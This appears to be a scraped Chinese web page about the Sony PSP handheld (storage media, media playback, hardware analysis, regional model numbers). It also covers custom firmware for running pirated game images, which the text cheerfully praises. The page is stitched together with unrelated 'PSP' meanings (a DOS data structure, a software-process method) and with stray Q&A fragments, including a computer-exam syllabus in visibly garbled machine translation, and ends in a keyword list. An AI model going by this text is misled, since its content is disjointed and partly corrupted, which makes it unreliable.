PSP周邊產品
[編輯本段]
■ UMD介紹
UMD是SONY特地為PSP開發的多媒體儲存媒介——Universal Media Disc,最大容量可以達到1.79GB-1.8GB,1.8GB不超過直徑卻僅僅是6cm。而且由於採用了UMD光碟與碟套一並插入PSP進行游戲的設計(參照MD的做法),大大降低了UMD光碟的磨損可能性。
目前UMD光碟只有隻讀格式,使用128BIT AES加密技術,而且所有UMD光碟只由SONY獨家生產技術不外流,而且全世界只有一條UMD光碟生產線.價值1.2億.相信今後一段時期內都不會出現UMD的散裝光碟 .
SONY於1月20日表示將開放UMD的影音播放規格,廣泛提供給各軟硬體廠商進行UMD軟體的出版與相容播放硬體的製造,不過UMD游戲方面仍然不公開。
■ 記憶棒
MS(Memory stick ,記憶棒) ,是由索尼於1999年推出的存儲卡,通用於索尼系列產品,例如索尼筆記本,索尼數碼相機等,可以儲存UMD游戲的存檔,存放MPG4電影與MP3音樂等。已有32MB 512MB 1GB 2GB 4GB 8GB 16GB ,32GB正在開發(期待)。現在有Memory stick High Speed版本.即高速版,外觀為棗紅色.ms標志下有HIGH SPEED字樣.目前中國大多數高速版記憶棒都是組棒(不是原裝的),但隨著組裝工藝的提升.組棒質量將不會與原裝棒有多大差別.
■ 游戲
您可運行UMD或保存於 Memory Stick Duo。(ISO或者CSO文件)中的PSP專用格式游戲。
PSone游戲(即PlayStation初代游戲,需轉換)。
自製程序游戲。
以及通過自製程序遊玩GBA N64 SFC等模擬器游戲。
您可觀賞UMD或保存於 Memory Stick Duo。內的影像。(保存於 Memory Stick Duo. 內的影像)播放格式可為 MPEG-4,AVC,AVI,PMP。
播放方法:MP4的文件直接放到video文件夾中.AVI,AVC需要另改名字.PMP則需要安裝播放工具
■ 音樂
您可聆聽UMD與保存於 Memory Stick Duo 的音樂。(保存於 Memory Stick Duo. 的音樂)檔案格式必須為ATRAC3plus. MP3和WMA ATRAC3plus (Adaptive Transform Acoustic Coding 3 Plus)新產品同時使用ATRAC3Plus先進的壓縮技術,讓聲音能夠在維持高音質的前提下進行高效能的壓縮;分別可依不同的檔案大小以及壓縮效果,選擇壓縮成256、132、105、66、64或48kbps的壓縮比率,而選擇256kbps的壓縮比率,將可壓縮出近似CD音質的音樂。
■ 圖片
您可通過PSP瀏覽、翻閱保存於 Memory Stick Duo. 內的圖片。(保存於 Memory Stick Duo. 內的圖片)圖片格式可為JPEG或BMP。
■ 上網
您可通過PSP上自帶的Internet瀏覽器鏈接無線路由器來瀏覽網頁,支持WIFI,不支持藍牙功能。(版本需2.0及其以上)。但需要有無線熱點.目前國內無線熱點未普及(除了北京).大家只能在星巴克和一些咖啡廳可以享受這一功能了(據說麥當勞即將引進)

■ 破解
早期PSP的破解游戲通過Booster的Device Hook等引導程序實現。可以通過記憶棒上的ISO鏡像玩游戲。
由於自製程序只能更好地運行在1.50系統,所以產生了系統版本降級,以實現破解游戲的遊玩。
通常,為了更好地運行破解游戲等,需要為機器刷寫加控式自製系統(OE/M33)。
現在的破解系統已經可以完美運行所有正版系統有的功能.(謝謝黑客!!)
OE,M33的區別在於:OE比較穩定,但是支持游戲比較少.現在也比較少人用.M33沒有OE穩定,但是支持游戲比OE多很多.而且現在不穩定的問題也已經基本解決.因此,M33比OE人氣高很多.

硬體徹底分析
[編輯本段]
■ PSP硬體徹底分析

高性能的CPU與內嵌在CPU核心內的DRAM

為了使PSP的3D機能接近PS2的水平,SONY為PSP配備了兩顆R4000 CPU內核.R4000是MIPS技術公司開發的RISC(精簡指令集)處理器. 兩顆R4000 之一的PSP CPU Core處理器頻率為333MHZ, 其具有128BIT的系統匯流排(注:也就是與內存或外部電路的連接匯流排),通過它與Media Engine、Main Memory、Graphics Core1 、2、VME (Virtual Mobile Engine)以及DMAC[DMA是Direct Memory Access的縮寫。其意思是「存儲器直接訪問」.它是指一種高速的數據傳輸操作,允許在外部設備和存儲器之間直接讀寫數據,即不通過CPU,也不需要CPU干預。整個數據傳輸操作在DMAC--存儲器直接訪問控制器的控制下進行的。CPU除了在數據傳輸開始和結束時作一點處理外,在傳輸過程中CPU可以進行其它的工作。這樣,在大部分時間里,CPU和輸入輸出都處在並行操作。
因此,使整個計算機系統的效率大大提高.它在PSP中的作用是通過它讓CPU與Optical Disc System、I/O設備相連來讀取和處理Optical Disc System、I/O設備(如手柄、顯示屏、U**等介面都是I/O設備)的信息]連接 . PSP CPU Core1集成了I-Cache(指令緩存具體容量未知)、D-Cache(數據緩存 具體容量未知)與FPU、VFPU(Vector Unit).其中PSP CPU Core的3D計算能力主要來源FPU與VFPU這兩個矢量單元,其浮點運算能力已經達到的2.6GFlops(是在有3D-CG Extended Instructions-3D擴展指令集參加工作時的數值),這已經是達到P3 733的浮點運算量了(這是加了SEE指令集工作的情況數值是2.93GFLOPS(SSE))很多人說PS2的GS支持的特效那麼少,為什麼游戲中有那麼多不支持的特效其實就是因為EE的FPU與VUO+VU1的功勞,使EE的總浮點運算能力達到了6.2 GFLOPS的浮點能力.而PSP的VFPU就相當於EE的VUO+VU1,所以別看Graphics Core不支持很多特效,但是可以依仗FPU與VFPU來實現不支持的特效,很多人說為什麼不在Graphics Core中支持呢,因為現在的技術還沒有讓GPU可以模擬特效的能力,即使是nVIDIA的GeForce系列還是ATI的RADEON系列都只是對其固有的特效進行編程式控制制.對新增加的特效,如新的DIRECTX版本加入新特效就必須換新的支持這個DIRECTX版本的顯卡,而游戲機不能象PC的顯卡那樣每6-8個月一換代。而且 GPU的浮點運算雖然比CPU高,但卻是有局限性的。所以SONY的選擇還是很明智的-用高浮點運算的CPU來模擬特效.
PSP CPU Core的作用是用來進行先期的多邊形生成等3D運算與模擬部分特效的,它的內核集成30MB DRAM 主內存這樣可以容納更多的多邊形數據與高解析度的紋理, 主內存帶寬為2.6GB/sec. PSP CPU Core利用其128位的帶寬的匯流排與DRAM相連,充分發揮PSP CPU Core的超高性能(注:雖然是內嵌試內存,但仍然需要匯流排與之相連)。內嵌式內存的好處是CPU可以直接訪問存儲器,減少內存的反應時間,而且提供高帶寬. 另外一顆R4000被稱做Media Engine-媒體引擎,顧名思義他是做媒體解壓 處理聲音和I/O管理等,而不是做3D運算的.所以它不能參加3D運算,很多網站說2顆CPU可以協同進行3D運算是錯的。因為其沒有集成FPU VFPU(也不排除是我理解錯誤)。它的頻率同樣是333MHZ、和PSP CPU Core共享128BIT的前端匯流排、內嵌了2MB DRAM, DRAM帶寬為2.6GB/sec,它主要作為媒體解壓緩沖與音頻存儲器。MPEG4的解壓就是它來完成.

PSP Graphics Core
[編輯本段]

經驗的積累成熟的PSP Graphics Core

為了讓PSP的3D機能更為協調SONY為PSP配備了與CPU同樣數量的GPU。Graphics Core 1主要是幾何運算。
3D Curved Su***ce+3D Polygon (支持3D曲面運算和3D多邊形引擎)Compressed Texture紋理壓縮(這可是很重要的技術,這個技術可以在有限的顯存與內存空間內,存儲更多的紋理,紋理壓縮還能減少主內存的使用率。因為當顯存不夠時,也就是紋理溢出時系統會把紋理存儲在主內存中。
紋理壓縮還能有效的減低帶寬佔用率。由於SONY沒有說明具體的壓縮比,估計是S3TC的紋理壓縮技術。在這里介紹一下S3TC的紋理壓縮比在8BIT色下是2:1 16BIT色下是4:1 24BIT色下是6:1) Hardware Clipping硬體剪裁(簡單的說,裁剪就是把物體落在屏幕外面的部分去掉,這樣就不需要處理看不到的東西,從而節省了處理量) Morphing、Bone分別是變形與骨骼動畫.它們是很相似的技術,都是讓角色的動作更流暢, Morphing使開發人員能夠創造海浪和水波等真實的表面或使三角形組從一種形狀變成另一種形狀,從而帶來更平滑的骨胳動作效果[右1是變形的示例圖]; Bone(8) 使編程人員可以在每個關節處使用8根「骨胳」來創造真實的角色動作,而且關節運動時不會發生變形使角色的移動更為真實自然.Hardware Tessellator它是一種硬體多邊形細分功能, Tessellator使用高順序表面幾何使游戲的原始簡單模型變得更圓滑更細致。它被加入到引擎後我們就可以在程序中使用LOD技術(或稱為HIGH ORDER SUFACE),根據對象與觀察者的距離,使用線框密度不同的3D模型.由於LOD的引入,場景中的多邊形數量就會比先前大幅度的降低,而畫面的畫質卻不會有明顯的下降,並且硬體剪裁的工作也可以由於多邊形的減少而效能提高。它是在DX8.0、OPENGL 1.4時加入到DX與OPENGL中的,家用游戲機中只有X-BOX的NV2A硬體支持這個功能。不過這個技術在PC GAME中沒有廣泛的應用,雖然說是硬體支持可是在PC GAME中打開此計算功能是沒有效果的[代表的此類技術如ATI的TRUFORM] 。
Graphics Core 1支持Bezier B-Spline(NURBS)(貝塞爾曲線 NURB*建模功能) 、** 4×4,16×16,64×64 sub-division是細分模式(N*N越大麴線的表面越光滑)、rece program/data與rece memory footprint & bus traffic(它們是類似於ATI的HZPER技術,可以用來降低帶寬佔用率.其具體工作模式沒有詳細說明)。
PSP Graphics Core 1看起來更象一個幾何運算器.個人感覺其功能更接近PC 顯卡的Vertex Shader頂點著色器[註:什麼是Vertex Shader(頂點著色器)?——Vertex(頂點)是計算機圖形學中的最基本元素,三個頂點可以連接成一個三角形形成一個面,在三維空間中,每個頂點都擁有自己的坐標(xyzw)和顏色值等數據,Vertex Shader(頂點著色器)在軟體層上來說就是一系列對頂點數據進行操作處理的指令程序,在硬體上就是執行這些Vertex Shader程序的處理單元], 但功能可能稍弱一些.
Graphics Core 2的名稱叫Rendering Engine'+'Su***ce Engine '(渲染引擎與曲面引擎)其主要的作用是渲染與硬體T&L(硬體幾何變換和光照處理)這項技術可以是物體在不增加多邊形的前提下使3D模型表面更圓滑 更准確 更生動和即時處理光源,使光源更真實可以產生帶有反射性質的光源效果,它在PS2中是由EE的VUO+VU1完成.它還支持曲面渲染. Graphics Core1和2都是128BIT核心,工作頻率都是166MHZ以256BIT數據匯流排寬連接其內嵌式的4M DRAM。
DRAM帶寬為5.3GB/sec。Graphics core2象素填充率為每秒6億6千4百萬,每個時鍾周期的紋理貼圖數為4,像素管線為4,工作模式為4*1即每一個像素流水線所配的TMU單元(紋理映射單元)為1.很多人認為這樣PSP在有多紋理時象素填充率下降,這就不用但心了,沒想到Graphics Core2竟然支持Pixel Shader(但是版本就不知道了)[注:什麼是Pixel Shader(像素著色器)?——在Vertex(頂點)被vertex shader處理完後,就會交給setup(設置)引擎轉換為屏幕上的二維坐標點(稱作fragment(OPENGL中的叫法)或者pixel(D3D中的叫法)-即像素),像素包含的信息類似於頂點,也是有色彩、深度坐標等資料.Pixel Shader(像素著色器)在軟體層上來說就是對像素資料進行操作處理的指令程序,在硬體上就是執行Pixel Shader(頂點著色器)的像素單元.] .Pixel shader主要負責生成特效和合成Texture(貼圖), 所以就不用多個TMU 單元來合成貼圖.同時PSP使對光源的控制達到了象素級使PSP可以更好的表現水、金屬表面反光等物理特效了。
Vertex Shader與Pixel Shader這兩項在家用機中只有X-BOX的NV2A支持,在游戲中得到廣泛支持如光環中的水、主角突擊隊員身上的盔甲的金屬感.這可是PS2都沒有的高級機能.示例圖圖如左2圖.Graphics Core2最大多邊形數為33Mpolygon/sec(T&L)為PS2的一半.不過別看性能比PS2差很多但是呢不要忘了PSP的解析度480*272且是在4.5寸屏上,即使多邊形數與紋理尺寸是原來的1/3你也是看不出來的^_^.它們才是協同工作的.輸出也是Graphics Core 2的工作,其最大輸出24BIT色,輸出信號為RGBA這樣有更好的顏色還原.[注:不排除Graphics Core2採用了類似NVIDIA Shading Rasterizer (NSR)技術,NSR使真實材料屬性盡可能達到 per-pixelshading效果,也就是Pixel Shader處理Pixel Sha ding達到的效果(但只是接近而已).NSR可以對每個像素進行動態陰影處理成為可能,使復雜的畫面現在有了豐富的細節;像素 bump mapping 等功能可以用來實現更精彩的視覺效果,如凹凸貼圖.NSR 允許軟體開發人員實時按像素計算照明特性.以往的圖形解決方案使用照明貼圖或頂點照明時,由於這種方法會導致為提高性能而損失質量和精確度的問題,迫使時用戶必須在實時的rendering 和全功能渲染之間進行選擇.開發人員不必再依靠基本的多紋理處理技術來欺騙自己的眼睛,因為實時按像素進行陰影處理的功能使3D元素在外觀和行為方面都和現實生活的對應物十分相似。所以PSP在有多紋理時象素填充率不會下降。利用NSR,木材的紋路看起來更*真,照明物體不僅在強光下發出微弱的光芒,還可以照射出*真的陰影,並且使水面的漣漪和波浪更加自然。按像素進行照明的功能不僅比過去使用的所有照明方法更加精確和靈活,而且不會降低實時性能.

優點
[編輯本段]
比家用機更強的音源輸出
PSP最令人驚訝的是居然是3D環繞7.1音道實在令人汗顏,想想PS2才支持5.1聲道啊.其音頻處理器為VME數字音頻處理器。它是基於索尼在便攜音樂單放機中採用的VME(虛擬移動引擎)設計,內部集成可編程DSP。使 PSP的音質有更出色的表現. VME頻率為166MHZ可轉換數字信號處理 每秒50億次運算 支持數字解碼器支持MP3、AAC以及ATRAC3音頻格式.同時還具有3D立體聲、多聲道混合、電子合成器等音效。
光碟機數據
UMD (Universal Media Disc) 60mm光碟 單面雙層1.8GB容量(比N**的特製*VD容量都要高還要誇張,這樣就不用擔心玩不到象FFX那樣CG多的游戲了.其存儲MPEG4影象高質量影象可存2個小時,標准質量為4個小時);Optical Disc System使用660nm波長激光二極體 每秒11Mbps傳輸速率 AES-crypto[AES-加密方式(高級加密標准)] system 防震 Unique disc ID Regional code system Parental lock- system Repeat ordering system.
超強的外部介面與網路協議
無線LAN (802.11)[ IEEE802.11是第一代無線區域網標准之一。該標準定義了物理層和媒體訪問控制(MAC)協議的規范,允許無線區域網及無線設備製造商在一定范圍內建立互操作網路設備.這樣就可以無線寬頻網與無線對戰了];IrDA紅外線數據協議[IrDA是Infrared Date Associationd的縮寫,它的特點是傳輸率為每秒115KB;傳輸角度為30度;點對點半雙工傳輸;Serial port需有16550 UART;最大傳輸距離為1米.不用連接線就可以實現記錄交換比家用機更方便];U**2.0[U**的中文名稱叫做通用串列匯流排2.0版.它支持主系統及不同外設間的傳輸.允許外設在開機的狀態下熱插拔方便使用,這樣就不用把PC與PSP都關機插拔了,非常方便;更廣泛的應用及寬頻;最多可串接127個外設;穩定的數據傳輸率;支持及時聲音播放及影象壓縮,這樣就很可能出現大家共享影片與游戲了^-^;每秒的傳輸率達到280Mbit.可輕松實現與PS2 PC 等外設連接]這些介面使PSP具有很強的外部擴展性,使PSP將來將具有更多的外設和功能;記憶棒記憶游戲記錄;AVin/out(可以連接電視的哦);充電鋰電池(這是PSP的主電池據);立體聲耳機外接插口.
時尚的16:9
其他規格:4.5英寸16:9寬屏背光式TFT液晶顯示480*272解析度與24位真彩屏幕,無論是任何時刻都將帶給您更大的可視范圍、超高的解析度以及真彩色,完美表現強大的硬體所描繪出的畫面.使媲美家用機的畫面和移動媒體電影在你的掌中再現,使您的娛樂生活更加豐富。有個自製的程序名字叫「Ereader」,「1.0」版本不是特別地好用,「2.0」版本還在試用階段。
所以還有個「1.0」的改進版「xreader」,目前最新的版本為「RC9」,看「TXT」格式的電子書,還可以聽歌(支持LRC歌詞顯示)、看漫畫(就是一張張地播放圖片,但是可以按屏寬、屏高、原尺寸縮放,很好用)、管理文件(可刪除、復制、剪切、粘貼記憶棒中的文件)……
很好用!最主要很傻瓜!

program segment prefix
[編輯本段]

PSP 之 DOS中的程序段的前綴:program segment prefix (程序段的前綴)
當輸入一個外部命令或通過EXEC子功能(系統功能調用INF 21h的子功能號為4BH)載入一子程序時,COMMAND確定當時內存可用空間的最低端作為程序段起點。在程序所佔內存空間的前256個位元組中,系統會為程序創建程序的前綴(PSP)的數據區,DOS要利用PSP來和被載入程序進行通信;PSP內有程序返回、程序文件名等信息,可以通過研究psp定位文件名信息,進而獲取文件名。
從這段內存區的256位元組處開始(在PSP的後面),將程序裝入,程序的地址被設為SA+10H:0 (其中SA為系統為程序分配內存的起始位置的段地址即當前寄存器DS的內容);
(注意:PSP區和程序區雖然物理地址連續,卻有不同的段地址。)
該PSP中包含以下三部分信息:
(1)供被載入程序使用的DOS入口,如PSP+0、+2、+5和+2CH欄位;
(2)供DOS本身使用的DOS入口,如PSP+0AH、+0EH、+12H和+2CH欄位;
(3)供被載入程序使用傳遞參數,如PSP+5CH,+6CH和80H欄位。
PSP結構與CP/M中的「控制區域」是十分相近的。這是因為,DOS本身便是從CP/M演變而來的。

Personal Software Process(個體軟體工程)

PSP (Personal Software Process) 是一種可用於控制、管理和改進個人工作方式的自我持續改進過程,是一個包括軟體開發表格、指南和規程的結構化框架。PSP與具體的技術(程序設計語言、工具或者設計方法)相對獨立,其原則能夠應用到幾乎任何的軟體工程任務之中。PSP能夠說明個體軟體過程的原則; 幫助軟體工程師作出准確的計劃;確定軟體工程師為改善產品質量要採取的步驟;建立度量個體軟體過程改善的基準;確定過程的改變對軟體工程師能力的影響。

使用自底向上的方法來改進過程,向每個軟體工程師表明過程改進的原則,使他們能夠明白如何有效地生產出高質量 的軟體。
為基於個體和小型群組軟體過程的優化提供了具體而有效的途徑。其研究與實踐填補了CMM的空白。

PSP各版本號
[編輯本段]
具體型號編號大家可以在包裝箱上查找

PSP1000日版普通版內只有一個主機和一個充電器
PSP1000K日版豪華版(ValuePack)內置主機,充電器,手繩,尼龍套,32M記憶棒,耳機,線控
PSP1000KCW日版白色豪華版內置與黑色豪華版相同,主機為白色
PSP1000G1日版GIGA版內置比豪華版多1G記憶棒,少手繩,其餘一樣
PSP1000CWG1日版白色GIGA版內置與黑色GIGA版一樣,主機為白色

PSP1001美版普通版BasePack(內置同日版普通版)
PSP1001K美版豪華版ValuePack(內置同日版豪華版)
PSP1001CW美版豪華白色版
PSP1001G1美版GIGA版GigaPack

PSP1002K澳洲豪華版ValuePack
PSP1002G1澳洲GIGA版GigaPack

PSP1003英國普通版BasePack
PSP1003K英國豪華版ValuePack
PSP1003G1英國GIGA版GigaPack

PSP1004歐洲普通版BasePack
PSP1004K歐洲豪華版Valuepack
PSP1004G1歐洲GIGA版GigaPack

PSP1005韓國普通版BasePack
PSP1005K韓國豪華版Valuepack
PSP1005G1韓國GIGA版Giga

PackPSP1006香港版普通版
PSP1006K香港版豪華版

PSP1007台灣版

PSP2000的編號同上面大同小異.即200X.後綴數字和1000一樣
註:截止今天,美國和歐洲地區也推出了普通版機器(BasePack),價格為199美元和199歐元(07年7月PSP1000香港價格為1350港幣),配置和日版普通版相同,只有主機,電池和充電器。具體分別普通版和豪華版的方法就是在包裝箱上查看編碼,如果有K,則是豪華版,沒有則是普通版。另,如果中國出了PSP行貨,編號正常情況下應該是PSP1009此貼供廣大新入手機器的新手參考使用,主要目的是為了如果需要買正版電影UMD的時候一定要認清機器地區,其他地區的電影UMD是不能在機器上播放的。游戲沒有限制,大家不要擔心。

python server page

腳本語言python 的服務頁面,類似JSP,是提供動態web頁面的一種解決方案.眾所周知,腳本語言python 近來相當流行,主要是google 的推動吧,google 已經推出google api 就是使用python 腳本的喲.
psp行情

8月底新版本PSP-2000隨著上市臨近,國內開始出現工包泄露版本,個別玩家放出新版本PSP圖片,國內外有些網站論壇放出清晰圖片以及簡單測評,電玩巴士放出開包測評新聞,這時新版本PSP由於外形變化,增加內存,視頻輸出功能和電視接收周邊等增值點,吸引很多關注目光,網上預定價格一度炒到2000以上,有淘寶賣家的工包版本新PSP主機+電池,炒到21xx人民幣。
8月31日巴士首次放出新版PSP-2000真機完全拆機報告,國內外個大電玩網站論壇爭相轉載(maxconsole、Hacks、Vault等),與此同時國內的香港台灣地區同時開始正式發售新版本PSP-2006和PSP-2007系列主機,香港當地全面開賣,不到幾小時國內已經開始訂購港版PSP,由於港版PSP價格低至1280港幣,所以內地個大銷售商報價也一路走低在1380-1500之間,因為剛發售拿到貨的很少。淘寶價格也開始變化了。

㈧ 誰能把下面的已加密的代碼還原

> 可能是 zend optimizer 暫沒有辦法還原 關注這應該是編碼的問題,頁面編碼與文件保存的不一致 ,nAuXEZ

㈨ 計算機三級考C++

事實上,在真理內的計算機網路技術,最好的測試。
或測試資料庫,全國計算機等級考試教程 - 資料庫技術「一書由教育部推薦的輔導書。下面的資料庫考試大綱的基本要求

掌握的基本概念,信息系統,應用程序和操作系統模式。
2,項目組織的信息系統開發過程中,開發方法和系統操作和維護方法,與基礎信息系統項目的組織和管理能力。
3,掌握基本的關系資料庫的概念和原則,深入理解關系數據模型,掌握關系資料庫設計,基本的關系資料庫設計能力的方法和設計原則。
4,熟練掌握並熟練使用結構化查詢語言SQL。
5,使用的關系型資料庫管理系統,創建和維護資料庫的能力。
6,掌握信息系統的實現技術,信息系統應用程序使用的編程語言和開發工具。<BR / 7,信息系統和資料庫技術的綜合應用。
考試內容
首先,信息系統的基本概念
1,信息系統的基本概念
?數據和信息
?信息資源
?信息系統
2,信息系統的應用
?交易系統
管理信息系統
?決策支持系統 BR />專家系統
?的信息系統的各種功能
3,管理信息系統,
信息技術的管理系統
信息系統組織行為管理
>?信息系統安全,法律和倫理問題
信息系統開發方法
1,信息系統技術的發展
數據管理技術文件,資料庫,數據倉庫的
?數據處理技術:OLTP,OLAP,數據挖掘
系統開發技術的軟體工程方法和軟體開發技術
信息系統集成技術
信息系統開發方法
系統生命周期方法
原型方法
面向對象的開發方法
,開發和管理信息系統的開發過程和環境
系統:資源包內的,資源包,資源外包
?軟體過程管理能力成熟度模型CMM
計算機輔助軟體工程的
系統開發的文件
4,信息系統的工作模式 />?中央主機模式
客戶機/伺服器模式
瀏覽器/伺服器模式
關系型資料庫的三個基本原則

關系數據模型的基本概念:表,元組(記錄),屬性(欄位,域)值范圍,關鍵字,索引
?表主表和外表的主鍵和外鍵
之間的關系?表類型:一對一的關系,一個一對多的關系,更關繫到許多的
關系模式和子模式之間的關系
關系模型的數據完整性的域的完整性約束:實體完整性,參照完整性
關系代數關系運算符:,工資低,選擇運算元,投影操作,串聯
2,資料庫系統的 />?資料庫系統的組成:資料庫,資料庫管理系統,資料庫應用程序,資料庫,硬體和軟體環境三種模式結構
資料庫系統的特點
資料庫/關系型資料庫設計/>?關系資料庫:
關系資料庫設計步驟:需求分析,概念設計,邏輯設計,物理設計,實施,運行和維護的標准化直觀的設計,規范設計,計算機輔助設計方法聯系
實體模型(ER模型)
關系模式的應用
新技術:分布式資料庫,並行資料庫,多媒體資料庫,面向對象資料庫,數據倉庫和數據挖掘資料庫, Web資料庫
結構化查詢語言SQL
1 SQL語言的功能和特色的
數據定義語言DDL:科瑞TABLE,DROP TABLE,科瑞指數,DROP INDEX
數據操縱語言DML:選擇「插件,刪除,更新
數據控制語言DCL
2,關於SQL變數,運算符,常用功能
3,SQL控制語句的過程:開始。結束IF ... ELSE,案例,雖然返回
,關系資料庫管理系統
關系型資料庫管理系統(DBMS)的基本功能
2,使用常用的DBMS(桌面資料庫或網路資料庫)
1)基本的桌面資料庫
資料庫操作:表和它們之間的關系,查詢(選擇查詢,交叉表查詢操作查詢)
資料庫管理:優化,備份,壓縮,存儲,修復,加密
2)網路資料庫
?企業經理
?基本的查詢分析器
資料庫的操作:表和它們之間的關系
嗎?
資料庫的保護和管理事務,並發控制,備份/恢復,導入/導出,完整性控制,安全控制
6信息系統實現技術
信息系統的開發平台和工具,過程和觸發器
開發工具,信息系統應用的
資料庫訪問技術ADO或ADO.NET
?資料庫應用程序:數據查詢和更新(插入,刪除,)
?存儲過程調用
?使用常見的窗口界面對象,菜單和友好的用戶交互的應用程序介面
數據報告和數據圖表
常用的技術,使用的開發工具來實現應用程序
7操作
1,掌握了電腦的基本操作。
2,掌握基本的操作和管理的資料庫管理系統(桌面資料庫或網路資料庫)。
3,主信息系統和資料庫設計的基本方法。
4,掌握一種編程語言開發的信息系統的應用,編程和調試方法。
5,掌握上機實踐應用程序的考試內容相關的知識

熱點內容
java小數正則表達式 發布:2025-05-20 11:30:58 瀏覽:136
文件夾加密win7 發布:2025-05-20 11:27:46 瀏覽:837
壓縮文件設置密碼有什麼意思 發布:2025-05-20 11:26:37 瀏覽:551
造夢西遊qq登錄如何修改密碼 發布:2025-05-20 11:18:36 瀏覽:382
淘寶緩存清理後還是大 發布:2025-05-20 11:15:39 瀏覽:149
ios雲存儲自動訂購 發布:2025-05-20 11:06:22 瀏覽:110
編程與數學 發布:2025-05-20 11:01:23 瀏覽:444
asp連接遠程資料庫 發布:2025-05-20 10:50:20 瀏覽:390
一般電腦配置哪個好 發布:2025-05-20 10:40:58 瀏覽:604
我的世界擼樹伺服器 發布:2025-05-20 10:33:37 瀏覽:742